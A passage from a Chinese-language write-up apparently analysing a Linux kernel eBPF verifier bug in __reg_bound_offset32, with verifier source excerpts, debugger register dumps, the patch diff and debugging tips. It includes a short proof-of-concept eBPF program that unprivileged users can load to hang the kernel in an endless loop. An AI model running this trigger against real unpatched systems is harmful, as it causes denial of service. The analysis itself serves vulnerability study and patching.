goto peek_stack;
check_state: <------------------------ 3
for (i = 0; i < insn_cnt; i++) {
if (insn_state[i] != EXPLORED) {
verbose(env, "unreachable insn %dn", i);
ret = -EINVAL;
goto err_free;
}
}
ret = 0; /* cfg looks good */
err_free:
kvfree(insn_state);
kvfree(insn_stack);
env->cfg.insn_state = env->cfg.insn_stack = NULL;
return ret;
}
代码中，`insn_state[i]`代表第`i`条指令的状态，`EXPLORED`表示第`i`条指令已经被遍历过了
故箭头标记2处，表示标记一条指令被经过，然后再去取下一条指令
箭头3处，有一个`for`循环来检查所有指令是否已经被遍历过，如果有任何一条指令没有被遍历，则返回错误码，并在log中写入错误信息`unreachable
insn`
因此，一个合格的`eBPF`程序要满足的第一个条件是，没有不可到达的指令
另外，也要注意箭头1处所指的函数`pusn_insn`
在程序中有`opcode`为`BPF_JA`，即 “无条件跳转” 的时候，会调用`push_insn(t, t + insns[t].off + 1,
FALLTHROUGH, env, true);`来把下一条指令push入栈
这里，`t`是当前指令的索引，`t+insns[t].off+1`是下一条指令的索引
/* t, w, e - match pseudo-code above:
* t - index of current instruction
* w - next instruction
* e - edge
*/
static int push_insn(int t, int w, int e, struct bpf_verifier_env *env,
bool loop_ok)
{
int *insn_stack = env->cfg.insn_stack;
int *insn_state = env->cfg.insn_state;
if (e == FALLTHROUGH && insn_state[t] >= (DISCOVERED | FALLTHROUGH))
return 0;
if (e == BRANCH && insn_state[t] >= (DISCOVERED | BRANCH))
return 0;
if (w < 0 || w >= env->prog->len) {
verbose_linfo(env, t, "%d: ", t);
verbose(env, "jump out of range from insn %d to %dn", t, w);
return -EINVAL;
}
if (e == BRANCH)
/* mark branch target for state pruning */
init_explored_state(env, w);
if (insn_state[w] == 0) {
/* tree-edge */
insn_state[t] = DISCOVERED | e;
insn_state[w] = DISCOVERED;
if (env->cfg.cur_stack >= env->prog->len)
return -E2BIG;
insn_stack[env->cfg.cur_stack++] = w;
return 1;
} else if ((insn_state[w] & 0xF0) == DISCOVERED) {
if (loop_ok && env->allow_ptr_leaks) <----------------- 1
return 0;
verbose_linfo(env, t, "%d: ", t);
verbose_linfo(env, w, "%d: ", w);
verbose(env, "back-edge from insn %d to %dn", t, w);
return -EINVAL;
} else if (insn_state[w] == EXPLORED) {
/* forward- or cross-edge */
insn_state[t] = DISCOVERED | e;
} else {
verbose(env, "insn state internal bugn");
return -EFAULT;
}
return 0;
}
箭头1处，如果`insn_state[w]`即下一条指令的状态为`DISCOVERED`，即当前的无条件跳转指令是往回跳的，就会进入箭头1这一分支。这时，`loop_ok`为1，如果`env->allow_ptr_leaks`为0的话，会报错`back-edge`，如果非0，则会继续运行
那么，`env->allow_ptr_leaks`是由什么影响的呢？
在`bpf_check`函数中有这么两句
……
is_priv = capable(CAP_SYS_ADMIN);
……
env->allow_ptr_leaks = is_priv;
……
意味如果当前用户有`CAP_SYS_ADMIN`这个权限，那么`env->allow_ptr_leaks`就是1，否则就是0
。那么一般我们的用户不是root，没有这个权限，因此`env->allow_ptr_leaks`一般为0
这样的话，如果我们的`eBPF`程序中有往回跳转的指令，`push_insn`函数就会报错
因此，一个权限一般的合格的`eBPF`程序要满足的第二个条件是，没有往回跳转的指令
到这里，一般用户能正常通过`check_cfg`这一个函数所需要的条件就很明白了：
* 没有不可到达的指令
* 没有往回跳转的指令
* 没有跳的太远超出指令范围的指令
而本文开始所展示的`eBPF`程序不符合第一个条件和第二个条件，那么它又是如何被载入内核的呢？
### do_check_main
static int do_check_main(struct bpf_verifier_env *env)
{
int ret;
env->insn_idx = 0;
ret = do_check_common(env, 0);
if (!ret)
env->prog->aux->stack_depth = env->subprog_info[0].stack_depth;
return ret;
}
`do_check_main`函数中，调用了`do_check_commin`
static int do_check_common(struct bpf_verifier_env *env, int subprog)
{
……
ret = do_check(env);
……
}
且不管其他，我们主要注意的地方是这个`do_check`函数。在该函数中，内核会模拟执行被载入的程序，并逐条指令检查其合法性。何为不合法？`eBPF`程序的指令是包括内存存取相关指令的，因此对被存取的指针它会有类型以及范围的限定，而且限定非常严格。如果说限定的部分有漏洞，或者其他的原因导致限定失效，那么将会带来非常恐怖的后果。例如
**任意地址读写**
在遇到具有分支，例如`if xxx goto
pc+x`这样的语句，内核会检测`if`判断的条件是否恒成立。若判断为恒成立或者恒不成立，则只分析相应的那一分支，而另一分支则不进行分析。没有被分析到的指令被视为`dead
code`
## Poc分析
Poc的c文件链接在文末[3]，注意要用普通用户执行Poc
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (25) if r0 > 0x30303030 goto pc+0
9: (76) if w0 s>= 0x303030 goto pc+2
10: (05) goto pc-1
11: (05) goto pc-1
12: (95) exit
首先先回答一个问题，为什么`goto pc-1`这样不能通过`check_cfg`的指令会被载入到内核中呢？
答案在`bpf_check`函数中
就在调用`do_check_main`那条语句的下方，还有几条代码
if (is_priv) {
if (ret == 0)
opt_hard_wire_dead_code_branches(env);
if (ret == 0)
ret = opt_remove_dead_code(env);
if (ret == 0)
ret = opt_remove_nops(env);
} else {
if (ret == 0)
sanitize_dead_code(env);
}
代码中，`is_priv`为何物我们已经了解，如果用户为root的话，`is_priv`为1，用户为具有一般权限的一般用户的话，其为0
关于`is_priv`为1的情况下内核究竟对`eBPF`程序做了什么不去细说，总结为一句话就是：内核将`dead
code`全部替换为`exit`，即退出指令
那么接下来来看`sanitize_dead_code`函数
/* The verifier does more data flow analysis than llvm and will not
* explore branches that are dead at run time. Malicious programs can
* have dead code too. Therefore replace all dead at-run-time code
* with 'ja -1'.
*
* Just nops are not optimal, e.g. if they would sit at the end of the
* program and through another bug we would manage to jump there, then
* we'd execute beyond program memory otherwise. Returning exception
* code also wouldn't work since we can have subprogs where the dead
* code could be located.
*/
static void sanitize_dead_code(struct bpf_verifier_env *env)
{
struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
struct bpf_insn *insn = env->prog->insnsi;
const int insn_cnt = env->prog->len;
int i;
for (i = 0; i < insn_cnt; i++) {
if (aux_data[i].seen)
continue;
memcpy(insn + i, &trap, sizeof(trap));
}
}
注释写的很清楚，这个函数会将所有的`dead code`改为`goto pc-1`，这样就能解释清楚`Poc`中10，11这两句不合法语句的来历了
内核在检查程序合法性的过程中，第9句在检查时被判断为恒成立，之后的检查便只检查了第12句，第10和第11句被视为`dead
code`，在之后的`sanitize_dead_code`函数中被修改为`goto
pc-1`。而没有想到的是，在实际执行的时候第9句实际上是恒不成立，因此就导致程序执行了`goto
pc-1`。在实际执行跳转指令的时候，跳转的偏移会默认加1，因此实际上`goto
pc-1`跳转到的地方不是自己的上一条，而是自己，这就导致程序空转，陷入死循环
那么为什么在检查的时候第九句的状态和实际执行时的状态不同呢？我们来一步步动态地分析一下
在分析之前，要先了解寄存器结构体
struct bpf_reg_state {
enum bpf_reg_type type;
union {
/* valid when type == PTR_TO_PACKET */
u16 range;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
u32 btf_id; /* for PTR_TO_BTF_ID */
/* Max size from any of the above. */
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
/* For scalar types (SCALAR_VALUE), this represents our knowledge of
* the actual value.
* For pointer types, this represents the variable part of the offset
* from the pointed-to object, and is shared with all bpf_reg_states
* with the same id as us.
*/
struct tnum var_off;
/* Used to determine if any memory access using this register will
* result in a bad access.
* These refer to the same value as var_off, not necessarily the actual
* contents of the register.
*/
s64 smin_value; /* minimum possible (s64)value */
s64 smax_value; /* maximum possible (s64)value */
u64 umin_value; /* minimum possible (u64)value */
u64 umax_value; /* maximum possible (u64)value */
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
/* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
bool precise;
};
理解该漏洞之前要先理解该结构体，要注意的一个字段是`var_off`，它是一个`tnum`结构体
/* tnum: tracked (or tristate) numbers
*
* A tnum tracks knowledge about the bits of a value. Each bit can be either
* known (0 or 1), or unknown (x). Arithmetic operations on tnums will
* propagate the unknown bits such that the tnum result represents all the
* possible results for possible values of the operands.
*/
struct tnum {
u64 value;
u64 mask;
};
`tnum`的注释没太懂，我的理解是：
* `mask`为0的时候，表示该`tnum`是一个数字，值为`value`
* `mask`非0的时候，表示一个范围，所有与`mask`进行与操作不为0的数字都在这个范围内，而此时的`value`只是该范围内的一个数字，并不精确
### 0: (b7) r0 = 808464432
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x30303030,
mask = 0x0
},
smin_value = 0x30303030,
smax_value = 0x30303030,
umin_value = 0x30303030,
umax_value = 0x30303030,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
此时，r0存储着一个确定的值，为0x30303030
### 1: (7f) r0 >>= r0
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0xffffffffffffffff
},
smin_value = 0x8000000000000000,
smax_value = 0x7fffffffffffffff,
umin_value = 0x0,
umax_value = 0xffffffffffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
可以看到`var_off`改变了，变为了一个完全不确定的值，且`smin_value, smax_value, umin_value,
umax_value`都变为了相应范围的最大最小值
相应代码如下：
case BPF_RSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
scalar_min_max_rsh(dst_reg, &src_reg);
break;
这里的`umax_val`就是`r0->umax_val`，在执行到这里的时候，为`0x30303030`，大于`insn_bitness`即64，所以就会标记寄存器为`unknown`
static void mark_reg_unknown(struct bpf_verifier_env *env,
struct bpf_reg_state *regs, u32 regno)
{
if (WARN_ON(regno >= MAX_BPF_REG)) {
verbose(env, "mark_reg_unknown(regs, %u)n", regno);
/* Something bad happened, let's kill all regs except FP */
for (regno = 0; regno < BPF_REG_FP; regno++)
__mark_reg_not_init(env, regs + regno);
return;
}
__mark_reg_unknown(env, regs + regno);
}
static void __mark_reg_unknown(const struct bpf_verifier_env *env,
struct bpf_reg_state *reg)
{
/*
* Clear type, id, off, and union(map_ptr, range) and
* padding between 'type' and union
*/
memset(reg, 0, offsetof(struct bpf_reg_state, var_off));
reg->type = SCALAR_VALUE;
reg->var_off = tnum_unknown;
reg->frameno = 0;
reg->precise = env->subprog_cnt > 1 || !env->allow_ptr_leaks ?
true : false;
__mark_reg_unbounded(reg);
}
static void __mark_reg_unbounded(struct bpf_reg_state *reg)
{
reg->smin_value = S64_MIN;
reg->smax_value = S64_MAX;
reg->umin_value = 0;
reg->umax_value = U64_MAX;
}
可以看到，`mark_reg_unknown`总共做了这些事：
* reg->type = SCALAR_VALUE
* reg->var_off = {0, 0xffffffffffffffff}
* reg->smin_value = 0x8000000000000000
* reg->smax_value = 0x7fffffffffffffff
* reg->umin_value = 0
* reg->umax_value = 0xffffffffffffffff
### 2: (14) w0 -= 808464432
主要代码位于`adjust_scalar_min_max_vals`函数中
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
struct bpf_reg_state *regs = cur_regs(env);
u8 opcode = BPF_OP(insn->code);
bool src_known, dst_known;
s64 smin_val, smax_val;
u64 umin_val, umax_val;
u64 insn_bitness = (BPF_CLASS(insn->code) == BPF_ALU64) ? 64 : 32;
u32 dst = insn->dst_reg;
int ret;
if (insn_bitness == 32) {
/* Relevant for 32-bit RSH: Information can propagate towards
* LSB, so it isn't sufficient to only truncate the output to
* 32 bits.
*/
coerce_reg_to_size(dst_reg, 4);
coerce_reg_to_size(&src_reg, 4);
}
smin_val = src_reg.smin_value;
smax_val = src_reg.smax_value;
umin_val = src_reg.umin_value;
umax_val = src_reg.umax_value;
src_known = tnum_is_const(src_reg.var_off);
dst_known = tnum_is_const(dst_reg->var_off);
……
switch (opcode) {
……
case BPF_SUB:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to sub from different pointers or scalarsn", dst);
return ret;
}
scalar_min_max_sub(dst_reg, &src_reg);
break;
……
}
if (BPF_CLASS(insn->code) != BPF_ALU64) {
/* 32-bit ALU ops are (32,32)->32 */
coerce_reg_to_size(dst_reg, 4);
}
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
由于该条指令使用的是32位寄存器，因此会先调用`coerce_reg_to_size`将寄存器转化为32位的
static void coerce_reg_to_size(struct bpf_reg_state *reg, int size)
{
u64 mask;
/* clear high bits in bit representation */
reg->var_off = tnum_cast(reg->var_off, size);
/* fix arithmetic bounds */
mask = ((u64)1 << (size * 8)) - 1;
if ((reg->umin_value & ~mask) == (reg->umax_value & ~mask)) {
reg->umin_value &= mask;
reg->umax_value &= mask;
} else {
reg->umin_value = 0;
reg->umax_value = mask;
}
reg->smin_value = reg->umin_value;
reg->smax_value = reg->umax_value;
}
转换完之后，寄存器的状态：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0xffffffff
},
smin_value = 0x0,
smax_value = 0xffffffff,
umin_value = 0x0,
umax_value = 0xffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x3,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
之后开始做减法，此时的`src_reg`其实就是`808464432`，只不过是用一个暂时的寄存器将其保存了
相关代码如下：
static void scalar_min_max_sub(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s64 smin_val = src_reg->smin_value;
s64 smax_val = src_reg->smax_value;
u64 umin_val = src_reg->umin_value;
u64 umax_val = src_reg->umax_value;
if (signed_sub_overflows(dst_reg->smin_value, smax_val) ||
signed_sub_overflows(dst_reg->smax_value, smin_val)) {
/* Overflow possible, we know nothing */
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
dst_reg->smin_value -= smax_val; <------------- dst_reg->smax_value -= smin_val;
}
if (dst_reg->umin_value < umax_val) {
/* Overflow possible, we know nothing */
dst_reg->umin_value = 0; <------------- dst_reg->umax_value = U64_MAX;
} else {
/* Cannot overflow (as long as bounds are consistent) */
dst_reg->umin_value -= umax_val;
dst_reg->umax_value -= umin_val;
}
dst_reg->var_off = tnum_sub(dst_reg->var_off, src_reg->var_off);
}
`smin_value, smax_value, umin_value,
umax_value`都是`0x30303030`，经过两个箭头所指的代码，就将寄存器的状态变成了
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0xffffffff
},
smin_value = 0xffffffffcfcfcfd0,
smax_value = 0xcfcfcfcf,
umin_value = 0x0,
umax_value = 0xffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x3,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
执行完减法之后，因为`BPF_CLASS`不是`BPF_ALU64`，所以其又进行了一次`coerce_reg_to_size`，之后的寄存器状态如下：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0xffffffff
},
smin_value = 0x0,
smax_value = 0xffffffff,
umin_value = 0x0,
umax_value = 0xffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x3,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
最后执行完`__update_reg_bounds`、`__reg_deduce_bounds`、`__reg_bound_offset`之后寄存器的状态都没有改变
第四句和第三句一样，是一个算术运算，其流程类似，故不分析
执行完第四句之后，寄存器的状态：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x30303030,
smax_value = 0x13030302f,
umin_value = 0x30303030,
umax_value = 0x13030302f,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
### 5: (de) if w1 s<= w0 goto pc+0
执行这条语句之前，`r0`和`r1`的状态分别为：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x30303030,
smax_value = 0x13030302f,
umin_value = 0x30303030,
umax_value = 0x13030302f,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
$r1 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x30303030,
mask = 0x0
},
smin_value = 0x30303030,
smax_value = 0x30303030,
umin_value = 0x30303030,
umax_value = 0x30303030,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
执行这条语句之后，`r0`的状态变为：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x30303020,
mask = 0x10000001f
},
smin_value = 0x30303030,
smax_value = 0x13030302f,
umin_value = 0x30303030,
umax_value = 0x13030302f,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
下面来解释下为什么会有这样的变化
在遇到跳转指令的时候，会调用`check_cond_jmp_op`来检查该指令
在该函数中，由于`r0`不是一个确定的数字，因此会调用`reg_set_min_max_inv`来设置寄存器的最大最小值
static void reg_set_min_max_inv(struct bpf_reg_state *true_reg,
struct bpf_reg_state *false_reg, u64 val,
u8 opcode, bool is_jmp32)
{
s64 sval;
if (__is_pointer_value(false, false_reg))
return;
val = is_jmp32 ? (u32)val : val;
sval = is_jmp32 ? (s64)(s32)val : (s64)val;
switch (opcode) {
……
case BPF_JSLE:
case BPF_JSLT:
{
s64 false_smax = opcode == BPF_JSLT ? sval : sval - 1;
s64 true_smin = opcode == BPF_JSLT ? sval + 1 : sval;
if (is_jmp32 && !cmp_val_with_extended_s64(sval, false_reg))
break;
false_reg->smax_value = min(false_reg->smax_value, false_smax);
true_reg->smin_value = max(true_reg->smin_value, true_smin);
break;
}
default:
break;
}
__reg_deduce_bounds(false_reg);
__reg_deduce_bounds(true_reg);
/* We might have learned some bits from the bounds. */
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
if (is_jmp32) { <---------------------- __reg_bound_offset32(false_reg); <------------------- __reg_bound_offset32(true_reg); <------------------- }
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__update_reg_bounds(false_reg);
__update_reg_bounds(true_reg);
}
这里的`false_reg`和`true_reg`表示两种状态，即该`if`不成立时的`reg`和`if`成立时的`reg`
漏洞所处代码就在箭头所指的地方，这里仅跟进`false_reg`
先说明执行`__reg_bound_offset32`函数之前，`false_reg`的状态
$false_reg = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x0,
mask = 0x1ffffffff
},
smin_value = 0x30303030,
smax_value = 0x13030302f,
umin_value = 0x30303030,
umax_value = 0x13030302f,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
static void __reg_bound_offset32(struct bpf_reg_state *reg)
{
u64 mask = 0xffffFFFF;
struct tnum range = tnum_range(reg->umin_value & mask,
reg->umax_value & mask);
struct tnum lo32 = tnum_cast(reg->var_off, 4);
struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
}
该函数执行完之后，寄存器的状态变为：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x30303020,
mask = 0x10000001f
},
smin_value = 0x30303030,
smax_value = 0x13030302f,
umin_value = 0x30303030,
umax_value = 0x13030302f,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
再之后，执行`__update_reg_bounds(false_reg)`之后：
static void __update_reg_bounds(struct bpf_reg_state *reg)
{
/* min signed is max(sign bit) | min(other bits) */
reg->smin_value = max_t(s64, reg->smin_value,
reg->var_off.value | (reg->var_off.mask & S64_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->smax_value = min_t(s64, reg->smax_value,
reg->var_off.value | (reg->var_off.mask & S64_MAX));
reg->umin_value = max(reg->umin_value, reg->var_off.value);
reg->umax_value = min(reg->umax_value,
reg->var_off.value | reg->var_off.mask);
}
`reg`不变，这里可以推导一下
### 6: (07) r0 += -2144337872
执行完这一句之后，寄存器状态：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0xb0603040,
mask = 0xffffffff0000003f
},
smin_value = 0xffffffffb0603060,
smax_value = 0xb060305f,
umin_value = 0x0,
umax_value = 0xffffffffffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x0,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
### 7: (14) w0 -= -1607454672
执行这一句的时候，先会用`coerce_reg_to_size`把寄存器转换为32位
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0xb0603040,
mask = 0x3f
},
smin_value = 0x0,
smax_value = 0xffffffff,
umin_value = 0x0,
umax_value = 0xffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x8,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
然后再做减法并改变`var_off`：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x10300000,
mask = 0x7f
},
smin_value = 0xffffffff5fcfcfd0,
smax_value = 0x5fcfcfcf,
umin_value = 0x0,
umax_value = 0xffffffffffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x8,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
再`coerce_reg_to_size`转为32位：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x10300000,
mask = 0x7f
},
smin_value = 0x0,
smax_value = 0xffffffff,
umin_value = 0x0,
umax_value = 0xffffffff,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x8,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
最后，在`__update_reg_bounds`函数中，寄存器被变为：
$r0 = {
type = SCALAR_VALUE,
{
range = 0x0,
map_ptr = 0x0 <fixed_percpu_data>,
btf_id = 0x0,
raw = 0x0
},
off = 0x0,
id = 0x0,
ref_obj_id = 0x0,
var_off = {
value = 0x10300000,
mask = 0x7f
},
smin_value = 0x10300000,
smax_value = 0x1030007f,
umin_value = 0x10300000,
umax_value = 0x1030007f,
parent = 0x0 <fixed_percpu_data>,
frameno = 0x0,
subreg_def = 0x8,
live = REG_LIVE_WRITTEN,
precise = 0x1
}
### 9: (76) if w0 s>= 0x303030 goto pc+2
相关代码为：
case BPF_JSGE:
if (reg->smin_value >= sval)
return 1;
else if (reg->smax_value < sval)
return 0;
break;
这里`reg->smin_value`为`0x10300000`，`sval`为`0x303030`，可以看到这里会返回1，表示该if语句恒成立
那么从此刻开始，下一个被检测的语句就变成了第12句，而第10和第11句就被patch成了`goto pc-1`
然而，在实际的计算过程中，此刻的`w0`为`0xCFD0`，小于`0x303030`，就会导致真正在执行的过程中，内核会执行`goto
pc-1`，导致空转，死循环
## 深入思考
作者是如何修复该漏洞的？
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 047b2e8..2a84f73 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -1036,17 +1036,6 @@ static void __reg_bound_offset(struct bpf_reg_state *reg)
reg->umax_value));
}
-static void __reg_bound_offset32(struct bpf_reg_state *reg)
-{
- u64 mask = 0xffffFFFF;
- struct tnum range = tnum_range(reg->umin_value & mask,
- reg->umax_value & mask);
- struct tnum lo32 = tnum_cast(reg->var_off, 4);
- struct tnum hi32 = tnum_lshift(tnum_rshift(reg->var_off, 32), 32);
- - reg->var_off = tnum_or(hi32, tnum_intersect(lo32, range));
-}
- /* Reset the min/max bounds of a register */
static void __mark_reg_unbounded(struct bpf_reg_state *reg)
{
@@ -5805,10 +5794,6 @@ static void reg_set_min_max(struct bpf_reg_state *true_reg,
/* We might have learned some bits from the bounds. */
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
- if (is_jmp32) {
- __reg_bound_offset32(false_reg);
- __reg_bound_offset32(true_reg);
- }
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
@@ -5918,10 +5903,6 @@ static void reg_set_min_max_inv(struct bpf_reg_state *true_reg,
/* We might have learned some bits from the bounds. */
__reg_bound_offset(false_reg);
__reg_bound_offset(true_reg);
- if (is_jmp32) {
- __reg_bound_offset32(false_reg);
- __reg_bound_offset32(true_reg);
- }
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
可以看到，作者只删除了`__reg_bound_offset32`这一函数便完成了漏洞的修补
为什么`__reg_bound_offset32`函数会导致漏洞呢？
如果将该函数patch掉，发现，在执行完第五句指令之后，`r0->var_off = {0x0,
0x1ffffffff}`，而不是patch前的``r0->var_off = {0x30303020, 0x10000001f}`
正是由于这里`var_off`的偏差，如同导火索一般，导致在之后的ALU运算中，内核在调用`__update_reg_bounds`等函数来更新边界的过程中出现了偏差，导致检验系统的出错
另外，由于系统增加了`patch dead code`的操作，导致想要利用漏洞构造任意读写的难度大大增加
## 调试技巧
### 编译选项
可以将内核中`debug info`打开，然后再编辑`.config`文件，开启所有带有`BPF`字样的配置
其中，`CONFIG_BPF_SYSCALL`必须打开，不然无法使用`bpf`系统调用
其他的配置中，某个配置没有打开会导致gdb调试的时候无法在相关函数下断点，而我并没有找是哪一个配置，索性就全部打开
### 调试
主要调试的代码位于`kernel/bpf/verifier.c`中，可以根据源代码，利用`b kernel/bpf/verifier.c:行数`的方式下断点
另外，调试的时候Poc中最后一个跳转最好改变一下，比如从`JSGE`改为`JSLT`，使条件不成立，这样可以方便我们多次调试
### 打印内核中载入的eBPF程序
可以将内核源码复制到镜像中，然后在虚拟机中进入`tools/bpf/bpftool`目录下，执行`make`，编译出`bpftool`
编译完成之后，有两条相关指令
`./bpftool p s`会显示出内核中载入的`eBPF`程序的`id`等信息
root@syzkaller:~# ./bpftool p s
5: socket_filter tag 31bce63e92f471c4 gpl
loaded_at 2020-04-17T03:31:44+0000 uid 1000
xlated 88B jited 89B memlock 4096B
`./bpftool p d x i id`可以打印出具体的`eBPF`程序
root@syzkaller:~# ./bpftool p d x i 5
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
